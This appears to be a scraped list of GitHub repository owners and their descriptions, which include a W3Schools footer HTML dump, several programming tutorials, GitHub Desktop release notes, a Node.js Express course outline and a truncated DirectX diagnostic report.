Examples</a><br> <a href="/java/java_examples.asp">Java Examples</a><br> <a href="/xml/xml_examples.asp">XML Examples</a><br> <a href="/jquery/jquery_examples.asp">jQuery Examples</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <!-- <h4>Web Certificates</h4> <a href="/cert/default.asp">HTML Certificate</a><br> <a href="/cert/default.asp">CSS Certificate</a><br> <a href="/cert/default.asp">JavaScript Certificate</a><br> <a href="/cert/default.asp">SQL Certificate</a><br> <a href="/cert/default.asp">Python Certificate</a><br> <a href="/cert/default.asp">PHP Certificate</a><br> <a href="/cert/default.asp">Bootstrap Certificate</a><br> <a href="/cert/default.asp">XML Certificate</a><br> <a href="/cert/default.asp">jQuery Certificate</a><br> <a href="//www.w3schools.com/cert/default.asp" class="w3-button w3-margin-top w3-dark-grey" style="text-decoration:none"> Get Certified »</a> --> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Web Courses</h5> <a href="https://courses.w3schools.com/courses/html" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on html course link in footer');">HTML Course</a><br> <a href="https://courses.w3schools.com/courses/css" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on css course link in footer');">CSS Course</a><br> <a href="https://courses.w3schools.com/courses/javascript" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on javascript course link in footer');">JavaScript Course</a><br> <a href="https://courses.w3schools.com/programs/front-end" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Front End course link in footer');">Front End Course</a><br> <a href="https://courses.w3schools.com/courses/sql" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on sql course link in footer');">SQL Course</a><br> <a href="https://courses.w3schools.com/courses/python" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on python course link in footer');">Python Course</a><br> <a href="https://courses.w3schools.com/courses/php" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on php course link in footer');">PHP Course</a><br> <a href="https://courses.w3schools.com/courses/jquery" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on jquery course link in footer');">jQuery Course</a><br> <a href="https://courses.w3schools.com/courses/java" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Java course link in footer');">Java Course</a><br> <a href="https://courses.w3schools.com/courses/cplusplus" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on C++ course link in footer');">C++ Course</a><br> <a href="https://courses.w3schools.com/courses/c-sharp" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on bootstrap C# link in footer');">C# Course</a><br> <a href="https://courses.w3schools.com/courses/xml" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on xml course link in footer');">XML Course</a><br> <a href="https://courses.w3schools.com/" target="_blank" class="w3-button w3-margin-top ws-black ws-hover-black w3-round" style="text-decoration:none" onclick="ga('send', 'event', 'Courses' , 'Clicked on get certified button in footer');"> Get Certified »</a> </div> </div> </div> <hr> <div class="w3-center w3-small w3-opacity"> W3Schools is optimized for learning and training. Examples might be simplified to improve reading and learning. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using W3Schools, you agree to have read and accepted our <a href="/about/about_copyright.asp">terms of use</a>, <a href="/about/about_privacy.asp">cookie and privacy policy</a>.<br><br> <a href="/about/about_copyright.asp">Copyright 1999-2022</a> by Refsnes Data. All Rights Reserved.<br> <a href="//www.w3schools.com/w3css/default.asp">W3Schools is Powered by W3.CSS</a>.<br><br> </div> <div class="w3-center w3-small"> <a href="//www.w3schools.com"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a></div><a href="//www.w3schools.com"> <br><br> </a></div><a href="//www.w3schools.com"> </a></div><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="__uspapiLocator" style="display: none;"></iframe><a href="//www.w3schools.com"> <script src="/lib/w3schools_footer.js?update=20220202"></script> <script> MyLearning.loadUser('footer'); function docReady(fn) { document.addEventListener("DOMContentLoaded", fn); if (document.readyState === "interactive" || document.readyState === "complete" ) { fn(); } } uic_r_z(); uic_r_d() </script><iframe src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" style="visibility: hidden; display: none;"></iframe> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </a><script type="text/javascript" src="https://geo.moatads.com/n.js?e=35&ol=3318087536&qn=%604%7BZEYwoqI%24%5BK%2BdLLU)%2CMm~tM!90vv9L%24%2FoDb%2Fz(lKm3GFlNUU%2Cu%5Bh_GcS%25%5BHvLU%5B4(K%2B%7BgeFWl_%3DNqUXR%3A%3D%2BAxMn%3Ch%2CyenA8p%2FHm%24%60%233P(ry5*ZRocMp1tq%5BN%7Bq%60RP%3CG.ceFW%7CoG%22mxT%3Bwv%40V374BKm55%3D%261fp%5BoU5t(KX%3C%3Ce%24%26%3B%23wPjrBEe31k5X%5BG%5E%5B)%2C2iVSWf3Stnq%263t!9jr%7BRzI%2C%7BOCb%25%24(%3DNqU%60W5u%7Bo(zs1CoK%2Bdr%5BG)%2C3ii)RGL3emgSuRVE&tf=1_nMzjG---CSa7H-1SJH-bW7qhB-LRwqH-nMzjG-&vi=111111&rb=2-90xv0J4P%2FoMsPm8%2BZbNmT2EB%2BBOA3JNdQL68hLPh4bg2%2F%2FnQIIWF3Q%3D%3D&rs=1-iHtHGE9B1zA1OQ%3D%3D&sc=1&os=1-3g%3D%3D&qp=10000&is=BBBBB2BBEYBvGl2BBCkqtUTE1RmsqbKW8BsrBu0rCFE48CRBeeBS2hWTMBBQeQBBn2soYggyUig0CBlWZ0uBBCCCCCCOgRBBiOfnE6Bkg7Oxib8MxOtJYHCBdm5kBhIcC9Y8oBXckXBR76iUUsJBCBBBBBBBBBWBBBj3BBBZeGV2BBBCMciUBBBjgEBBBBBB94UMgTdJMtEcpMBBBQBBBniOccBBBBBB47kNwxBbBBBBBBBBBhcjG6BBJM2L4Bk8BwCBQmIoRBBCzBz1BBCTClBBrbGBC4ehueB57NG9aJeRzBqEKBBBBBBB&iv=8&qt=0&gz=0&hh=0&hn=0&tw=&qc=0&qd=0&qf=1240&qe=883&qh=1280&qg=984&qm=-330&qa=1280&qb=1024&qi=1280&qj=984&to=000&po=1-0020002000002120&vy=ot%24b%5Bh%40%22oDgO%3DLlE6%3Avy%2CUitwb4%5Du!%3CFo%40Y_3r%3F%5DAY~MhXyz%26_%5B*Rp%7C%3EoDKmsiFDRz%5EmlNM%22%254ZpaR%5BA7Do%2C%3Bg%2C%2C%40W7RbzTmejO%3Def%2C%7Bvp%7C9%7C_%3Bm_Qrw5.W%2F84VKp%40i6AKx!ehV%7Du!%3CFo%40pF&ql=%3B%5BpwxnRd%7Dt%3Aa%5DmJVOG)%2C~%405%2F%5BGI%3F6C(TgPB*e%5D1(rI%24(rj2Iy!pw%40aOS%3DyNX8Y%7BQgPB*e%5D1(rI%24(rj%5EB61%2F%3DSqcMr1%7B%2CJA%24Jz_%255tTL%3Fwbs_T%234%25%60X%3CA&qo=0&qr=0&i=TRIPLELIFT1&hp=1&wf=1&ra=1&pxm=8&sgs=3&vb=6&kq=1&hq=0&hs=0&hu=0&hr=0&ht=1&dnt=0&bq=0&f=0&j=https%3A%2F%2Fwww.google.com&t=1650718754860&de=466991431602&m=0&ar=bee2df476bf-clean&iw=2a1d5c5&q=2&cb=0&ym=0&cu=1650718754860&ll=3&lm=0&ln=1&r=0&em=0&en=0&d=6737%3A94724%3Aundefined%3A10&zMoatTactic=undefined&zMoatPixelParams=aid%3A29695277962791520917040%3Bsr%3A10%3Buid%3A0%3B&zMoatOrigSlicer1=2662&zMoatOrigSlicer2=39&zMoatJS=-&zGSRC=1&gu=https%3A%2F%2Fwww.w3schools.com%2Ftags%2Ftag_p.asp&id=1&ii=4&bo=2662&bd=w3schools.com&gw=triplelift879988051105&fd=1&ac=1&it=500&ti=0&ih=1&pe=1%3A512%3A512%3A1026%3A846&jm=-1&fs=198121&na=2100642455&cs=0&ord=1650718754860&jv=1483802810&callback=DOMlessLLDcallback_5147906"></script><iframe src="https://www.google.com/recaptcha/api2/aframe" width="0" height="0" style="display: none;"></iframe></body><iframe sandbox="allow-scripts allow-same-origin" id="936be7941bd9c5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://jp-u.openx.net/w/1.0/pd?plm=6&ph=8a7ca719-8c2c-4c16-98ad-37ac6dbf26e9&gdpr=0&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="94da8182082e79b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eus.rubiconproject.com/usync.html?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="950ad185776f97c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://cdn.connectad.io/connectmyusers.php?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="960961bdb263a5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=157369&gdpr=0&gdpr_consent=&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="973d77507d8ed2c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-index_pm-db5_ym_rbd_n-vmg_ox-db5_smrt_an-db5_3lift"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="986df094b3ccc6f" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://biddr.brealtime.com/check.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="9984b091a86efa7" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://js-sec.indexww.com/um/ixmatch.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="1004b17db44af55b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://csync.smilewanted.com?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="101af22cac10bcfd" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://onetag-sys.com/usync/?cb=1650718752982&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="10290b51ae900f2b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eb2.3lift.com/sync?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="103d27603dbc3983" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://acdn.adnxs.com/dmp/async_usersync.html"> </iframe></html>
heutelbeck
Implementing Attribute-based Access Control (ABAC) with Spring and SAPL
raphaelmansuy
Using ecs-cli to publish a Docker Compose stack
Source code for the tutorial available here: http://raccoon.ninja/pt/dev-pt/tutorial-aplicacao-em-python-sqlite-parte-01/
UtMan88
An example of simple flight controls for my tutorial at https://keithmaggio.wordpress.com/2011/07/01/unity-3d-code-snippet-flight-script/
Nichathan-Gaming
A detailed tutorial on how to implement Google Play Authentication in Unity with Firebase in 2023 using the new GooglePlayGamesPlugin-0.11.01
gold1029
http://www.pentest.guru/index.php/2016/01/28/best-books-tutorials-and-courses-to-learn-about-exploit-development/
GitHub Desktop Overview Release Notes | Help Release Notes for Windows View release notes for Mac 2016/09/22v3.3.3 Chocolate-Covered Yaks UPDATEDGit Shell updated to v2.10.2 2016/09/22v3.3.2 Chocolate-Covered Yaks UPDATEDGit Shell updated to v2.10.1 which updates Curl to 7.50.3 and fixes some issues working with repositories over HTTPS with domains that use self-signed certificates. FIXEDUnable to resize the app to a width of 1024. 2016/09/22v3.3.1 Chocolate-Covered Yaks UPDATEDForce usage of TLS 1.2 when the client supports the protocol. 2016/09/06v3.3.0 Chocolate-Covered Yaks UPDATEDGit Shell updated to v2.10 which includes major performance improvements to interactive rebase among other enhancements. UPDATEDGit LFS updated to v1.3.1. FIXEDDpi scaling on Windows 10 Anniversary Edition caused blurry fonts. 2016/07/26v3.2.0 War on Emus ADDEDNew button to open a repository in Atom or Visual Studio. UPDATEDGit Shell updated to v2.9.0.1. IMPROVEDBetter error message when publishing a repository that already exists on the server. FIXEDCrash due to an unhandled COMException thrown by the default text input spellchecker 2016/05/06v3.1.1 Oh Darth, Where Art Thou? FIXEDCrash when using a Windows theme with drop shadows enabled. 2016/05/04v3.1.0 Oh Darth, Where Art Thou? NEWDark theme now available from Options menu. ADDEDIcons indicating whether a file was added, removed or modified. FIXEDUnable to add repository which exists at drive root. FIXEDCrash due to incorrect handling of input arguments on launch. FIXEDCrash due to COM exception when interacting with Taskbar. FIXEDCrash when scanning filesystem for local repositories. FIXEDCreated SSH keys not added to ssh-agent on first launch. FIXEDCrash due to decoding malformed parameters on restart. UPDATEDPosh-Git now includes new icons in prompt. UPDATEDGit Shell updated to v2.8.1. UPDATEDGit LFS updated to v1.2.0. UPDATEDGit Shell adds Visual Studio 2015 developer tools and other common tools to $PATH. 2016/03/31v3.0.17 Proctional Fungramming FIXEDCrash when updating the Windows taskbar with information but the taskbar is not ready or not found. 2016/03/24v3.0.16 Proctional Fungramming FIXEDExcessive memory allocations in large repositories that caused out of memory errors. FIXEDCommit selection would stop working if one commit failed to load. FIXEDVarious memory and performance improvements. UPDATEDGit Shell updated to v2.7.4. 2016/03/15v3.0.15 Proctional Fungramming IMPROVEDReduced memory consumption when pruning merged branches. IMPROVEDReduced memory consumption by requesting smaller avatars. 2016/03/03v3.0.14 Proctional Fungramming FIXEDPosh-Git update does not work for users running Powershell v2. 2016/03/02v3.0.13 Proctional Fungramming ADDEDIssue suggestions when creating commit messages by pressing the # key. UPDATEDGit Shell updated to v2.7.1. UPDATEDPosh-Git now includes new icons in prompt FIXEDCrash when trying to rapidly load diffs for multiple Git-LFS files. IMPROVEDLocal branches that have been merged into the default branch are automatically pruned. IMPROVEDArrow keys and Page Up/Down can can be used to scroll through diffs. 2016/01/22v3.0.12 Only You Can Shave Yakkind FIXEDUpdated Authenticode certificate to replace obsolete SHA1 certificate. FIXEDRare crash when hovering over commit graph. 2015/12/17v3.0.11 No Type Remains FIXEDUnable to view diffs in LFS-enabled repositories 2015/12/16v3.0.10 One Type Remains IMPROVEDCTRL + ~ opens Git Shell in addition to ~. IMPROVEDCTRL + Enter creates a PR when used within the pull request panel. IMPROVEDUpdated Git LFS to v1.1.0. FIXEDCloning large Git LFS-enabled repositories would fail when exceeding one hour. FIXEDRare crash when saving git attributes in repository settings. FIXEDExtracting Git shell components could fail when using certain anti-virus programs. FIXEDGit LFS accessible when launching using shell.ps1 2015/11/25v3.0.9 Totally Texas FIXEDGit Shell would load incorrect assembly, impacting git-remote-https operations. 2015/11/24v3.0.8 Totally Texas UPDATEDGit command line updated to v2.5. FIXEDDiff generation failed for specific scenarios. FIXEDAvatars disappearing when switching repositories. FIXEDTutorial would get automatically selected on start up until completed or removed. FIXEDRepository list lost focus while using keyboard navigation due to automatic focusing of commit title. FIXEDRare crash when hovering over a commit in the graph. FIXEDGit LFS attributes created in repository settings now match those creating using the CLI. 2015/10/29v3.0.7 Never Gonna Git You Up IMPROVEDAuto focus commit summary when switching to changes tab. FIXEDError rendering diffs for modified renamed files. FIXEDWrong changelog showing for users on the beta program. FIXEDCrash when attempting to show diff for large file storage assets. FIXEDCloning GitHub wikis using the 'Clone in Desktop' button. UPDATEDGit LFS updated to v1.0.2 2015/10/09v3.0.6 Berge Mase ADDEDFrom the Git Shell, you can now open the GitHub Desktop application to a specific repository from the command line by passing the path to the repository to github.exe. FIXEDLogging in on multiple machines could cause other sessions to be revoked. FIXEDComparison graph sometimes showed the wrong current branch. FIXEDFailing to load the correct commits when scrolling in the history tab. FIXEDRare crash when account transitioned between authenticated and unauthenticated. FIXEDTutorial repository showing after opening settings, about or option view. IMPROVEDNew tab header styles. IMPROVEDQuick sign in from clone dialog when not authenticated. IMPROVEDHelpful messaging when failing to push to, or delete, a protected branch. IMPROVEDMore detailed messaging when failing to render a diff. IMPROVEDLong branch names are now truncated in repository view and menus. IMPROVEDDisabled buttons in comparison graph no longer have hover states. 2015/09/08v3.0.5 Realtime Baking ADDEDEasily switch between Changes and History using the tabs. ADDEDDelete the current branch from the gear menu. IMPROVED@mentions list is refreshed more frequently. IMPROVEDReduced memory usage when browsing history. FIXEDA rare crash when accessing a repository's config file. 2015/08/24v3.0.4 The Last Free Monad IMPROVEDscrolling animations inside comparison graph. FIXEDCloning forked repository not displaying correct graph initially. FIXED'Update from {branch}' uses tracked branch if defined. FIXEDA potential crash when appending commits in history view. FIXEDPull Request tooltip showing incorrect message. FIXEDA potential crash when extracting tutorial repository. 2015/08/14v3.0.3 The Last Free Monad IMPROVEDScrolling commits is now way faster! FIXEDNew commits weren't reflected in the history. FIXEDUndoing commits weren't reflected in the history. FIXEDRemote commits were inserted at the end of the history when syncing. 2015/08/12v3.0.2 The Last Free Monad FIXEDA crash when fetching commits in rare cases. FIXEDA crash when opening the base branch popover. FIXEDA crash when failing to load files in commits. FIXEDA crash when restarting the tutorial. FIXEDChanged files appearing under the commit form. 2015/08/12v3.0.1 The Last Free Monad FIXEDA potential crash while generating the comparison graph. 2015/07/06v3.0.0 The Last Free Monad NEW'Use the comparison graph to compare two branches and keep them in sync.' Overview Release Notes | Help © 2016 GitHub, Inc. All rights reserved.
imparthgalani
Welcome, Screen Design In-App Using Android Studio...
KateSawada
No description available
3d-printing-canada
Tutorials and resources for the Creality CP-01 3-in-one printer
No description available
Inn4ki
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js
LuizFritsch
Trying to improve https://www.pyimagesearch.com/2014/09/01/build-kick-ass-mobile-document-scanner-just-5-minutes/ tutorial
DarkLarsen
------------------ System Information ------------------ Time of this report: 11/4/2013, 20:41:29 Machine name: GITTE-SOEGAARD Operating System: Windows 8 Pro 32-bit (6.2, Build 9200) (9200.win8_gdr.130708-1504) Language: Danish (Regional Setting: Danish) System Manufacturer: Packard Bell BV System Model: EASYNOTE W3972D BIOS: Insyde Software MobilePRO BIOS Version 4.20.10 Processor: AMD Turion(tm) 64 Mobile Technology ML-32, ~1.8GHz Memory: 2048MB RAM Available OS Memory: 1920MB RAM Page File: 976MB used, 2862MB available Windows Dir: C:\Windows DirectX Version: DirectX 11 DX Setup Parameters: Not found User DPI Setting: Using System DPI System DPI Setting: 96 DPI (100 percent) DWM DPI Scaling: Disabled DxDiag Version: 6.02.9200.16384 32bit Unicode ------------ DxDiag Notes ------------ Display Tab 1: No problems found. Sound Tab 1: No problems found. Input Tab: No problems found. -------------------- DirectX Debug Levels -------------------- Direct3D: 0/4 (retail) DirectDraw: 0/4 (retail) DirectInput: 0/5 (retail) DirectMusic: 0/5 (retail) DirectPlay: 0/9 (retail) DirectSound: 0/5 (retail) DirectShow: 0/6 (retail) --------------- Display Devices --------------- Card name: Microsoft Basic Display Driver Manufacturer: Chip type: DAC type: Device Type: Display-Only Device Device Key: Enum\ROOT\BASICDISPLAY Display Memory: 256 MB Dedicated Memory: 0 MB Shared Memory: 256 MB Current Mode: 1024 x 768 (32 bit) (64Hz) Monitor Name: Digital Flat Panel (1600x1200 85Hz) Monitor Model: unknown Monitor Id: Native Mode: unknown Output Type: Other Driver Name: Driver File Version: () Driver Version: DDI Version: 11.1 Feature Levels: 11.1,11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: DMA Driver Attributes: Final Retail Driver Date/Size: , 0 bytes WHQL Logo'd: n/a WHQL Date Stamp: n/a Device Identifier: {D7B71AF4-43CC-11CF-9423-F003ADC2CB35} Vendor ID: 0x1414 Device ID: 0x008C SubSys ID: 0x00000000 Revision ID: 0x0000 Driver Strong Name: basicdisplay.inf:1080904755d1bda1:MSBDD_Fallback:6.2.9200.16384:ROOT\BasicDisplay Rank Of Driver: 00FB0000 Video Accel: DXVA2 Modes: Deinterlace Caps: {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(YUY2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(UYVY,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: 